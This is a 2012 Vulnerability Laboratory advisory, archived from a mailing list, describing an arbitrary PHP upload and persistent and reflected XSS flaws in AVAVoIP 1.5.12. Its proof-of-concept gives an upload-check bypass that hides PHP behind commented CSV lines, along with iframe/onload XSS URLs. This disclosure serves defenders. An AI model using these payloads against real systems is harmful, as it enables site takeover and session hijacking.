lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <5004DC86.8090604@vulnerability-lab.com>
Date: Tue, 17 Jul 2012 05:31:18 +0200
From: Administrator <admin@...nerability-lab.com>
To: bugs@...uritytracker.com, bugtraq@...urityfocus.com
Subject: AVAVoIP v1.5.12 - Multiple Web Vulnerabilities

Title:
======
AVAVoIP v1.5.12 - Multiple Web Vulnerabilities


Date:
=====
2012-06-28


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=437


VL-ID:
=====
611


Common Vulnerability Scoring System:
====================================
6.5


Introduction:
=============
Designed from the ground up to empower VoIP and to meet the needs of the changing business environment, the 
AVA VoIP platform provides best in class features and carrier performance at competitive cost so you can spend 
more time on strategic initiatives and less time on technical issues and downtime. Powerful CDR Mediation, 
Pricing, Rating, Billing, Reporting and Routing engines enable providers to meet the challenges they face every day.
The AVA VoIP package supports all the traditional telecom business models such as: prepaid and postpaid wholesale VoIP, 
prepaid and postpaid retail VoIP, calling cards, callback, call shop, Internet café, hotels, etc. In addition our team 
of experienced engineers can address and custom tailor updates or platform add-ons as requested by our clients. Avangard 
Solutions, Inc. provides cost-effective, customized IT solutions to large and mid-sized organizations worldwide. With 
experience in the latest, state of the art technology trends, our expertise spans a wide variety of subject matters in 
the areas of Pricing and Rating, Billing, BSS, OSS, CRM, ERP, SRM and e-commerce solutions. We offer our strategic 
expertise backed with years of experience in communications protocols, VoIP, Triple Play and converged solutions.

(Copy of the Vendor Homepage: http://avavoip.com/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in AVAVoIP Communication Application 1.5.12.


Report-Timeline:
================
2012-06-09:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
An arbitrary File Upload Vulnerability is detected in AVAs AVAVoIP Communication Application v1.5.12.
An attacker can upload a php file to the website and access this php file to control the entire site.
The vulnerability can only be exploited with privileged application user account. The bug is located 
in the FX rates > upload FX rates application function in the fx_rates_upload.php file.

Vulnerable Section(s):
			  [+] FX rates > upload FX rates

Vulnerable File(s):
			  [+] fx_rates_upload.php



1.2
Multiple persistent input validation vulnerabilities are detected in AVAs AVAVoIP Communication Application v1.5.12.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). 
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action & privileged user account. The persistent 
vulnerabilities are located in multiple different files and also the bound parameters & affected output listings.

Vulnerable File(s):
                          [+] accountadd.php First Name
                          [+] agent_set.php
                          [+] batchadd.php
                          [+] carrier_list.php
                          [+] routeset_set.php
                          [+] tariff_add.php
                          [+] taxadd.php


Vulnerable Module(s):
                          [+] Accounts > Add > First Name
                          [+] Agents > Add Agents > Business Phone
                          [+] Rating & Billing > Update Batch > Batch Name
                          [+] Rating & Billing > Taxes & Localities > Taxes > Tax Name
                          [+] Routing > Carrers > Carrier ID > Add & Listing
                          [+] Routing > Route Sets > Add & Update > Route Set Name
                          [+] Routing > Tariffs > Update Name


Vulnerable Parameter(s):
                          [+] mtext, firstname & text
                          [+] agent_business_phone
                          [+] batch_name
                          [+] carrier_id
                          [+] route_set_name
                          [+] tariff_name
                          [+] taxname



1.3
Multiple non persistent cross site scripting vulnerabilities are detected in AVAs AVAVoIP Communication Application v1.5.12.
The vulnerability allows remote attackers to hijack website customer, moderator & admin sessions with medium/high required 
user inter action or local low privileged user account. Successful exploitation result in account steal, phishing & 
client-side context request manipulation. 


Vulnerable File(s):
                          [+] agent_accounts_report.php
                          [+] tariff_add.php
                          [+] routeset_set.php


Vulnerable Parameter(s):
                          [+] routeset_id
                          [+] tariff_id
                          [+] agent_id


Proof of Concept:
=================
1.1
The local file include vulnerability can be exploited by privileged user accounts without required user inter action.
For demonstration or reproduce ...

The attacker can go to the vulnerable file which is located at FX rates > upload FX rates. The upload function in 
the vulnerable page (fx_rates_upload.php) doesn't check the extension of the uploaded file. However, it checks the 
format of the file via own flag. Therefore if the attacker uploaded a php file like this

<?
echo "test";
<?
The Attacker will get an error because it is not satisfying the format of how the uploaded file should be, but if the 
attacker uploaded the following file ...

<? //ZIMBABWE,BWP,7.7160
echo "test"; //ZIMBABWE,BWP,7.7160
?> //ZIMBABWE,BWP,7.7160

The file will be successfully uploaded. The attacker bypassed the check of the format of the uploaded file function and 
get a working php file because the data that we added are commented out.


1.2
The persistent script code injection vulnerabilities can be exploited by privileged user accounts with low required user
inter action. For demonstration or reproduce ...


Review: Accounts > Add > First Name

<tr>
<td class="mtext" width="200">First Name <span class="mandatory_field">*</span></td>
<td class="mtext"><input maxlength="255" type="text"><[PERSISTENT SCRIPT CODE INJECTION])' 
<"="" class="loginfileld" size="20" name="first_name"></td>


Review: Agents > Add Agents > Business Phone

<tr>	
<td class="mtext" width="200">Business Phone</td>
<td class="mtext">
<input name="agent_business_phone" type="text"><iframe src="agent_set.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION]")' 
<"="" class="loginfileld">
</td>
</tr>



Review: Rating & Billing > Update Batch > Batch Name

<tr>
<td class="mtext" width="200">Batch Name <span class="mandatory_field">*</span></td>
<td class="mtext"><input maxlength="50" size="20" type="text"><iframe src="batchadd.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION]"' 
name="batch_name" class="loginfileld"></td>
</tr>
<tr>


Review: Rating & Billing > Taxes & Localities > Taxes > Tax Name

<tr>
<td class="mtext" width="200">Tax Name <span class="mandatory_field">*</span></td>
<td class="mtext">
<input maxlength="255" class="loginfileld" size="20" type="text"><iframe src="taxadd.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' 
<"="" name="taxname">



Review: Routing > Carrers > Carrier ID > Add & Listing

<tr><td>
<div style="width: 180px; float: left; margin: 5px 7px 0pt 5px;">
<span style="width: 80px; float: left; font-family: Tahoma,Verdana,Helvetica;">Carrier ID </span>
<span style="width: 100px; float: left; font-family: Tahoma,Verdana,Helvetica;"><input name="carrier_id" type="text">
<iframe src="carrier_list.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' <"="" onkeypress="checkEnter(event)" class="loginfileld" 
style="width: 100px;"></span>
</div>



Review: Routing > Route Sets > Add & Update > Route Set Name

<tr>
<td class="mtext" width="200">Route Set Name <span class="mandatory_field">*</span></td>
<td class="mtext"><input name="route_set_name" type="text"><iframe src="routeset_set.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' <"="" class="loginfileld"></td>


Review: Routing > Tariffs > Update Name

<!--/NOTACTIVE-->
<!--ACTIVE--><a>Update "><iframe src="tariff_add.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' <<="" a=""><!--/ACTIVE-->
</div>
<!--
 Login / Logout section ends -->



1.3
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required 
user inter action. For demonstration or reproduce ...

http://avavoip.127.0.0.1:8080/agent_accounts_report.php?agent_id=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
http://avavoip.127.0.0.1:8080/tariff_add.php?tariff_id=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
http://avavoip.127.0.0.1:8080/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C


Risk:
=====
1.1
The security risk of the local file upload vulnerability is estimated as medium(+).

1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

1.3
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Ibrahim El-Sayed [the StOrM) (storm@...nerability-lab.com)
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@...nerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@...nerability-lab.com 	- support@...nerability-lab.com 	       - research@...nerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@...nerability-lab.com or support@...nerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
COMPANY: www.vulnerability-lab.com  or  www.vuln-lab.com
ADMIN MAIL: admin@...nerability-lab.com
PHONE: 01776757259


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ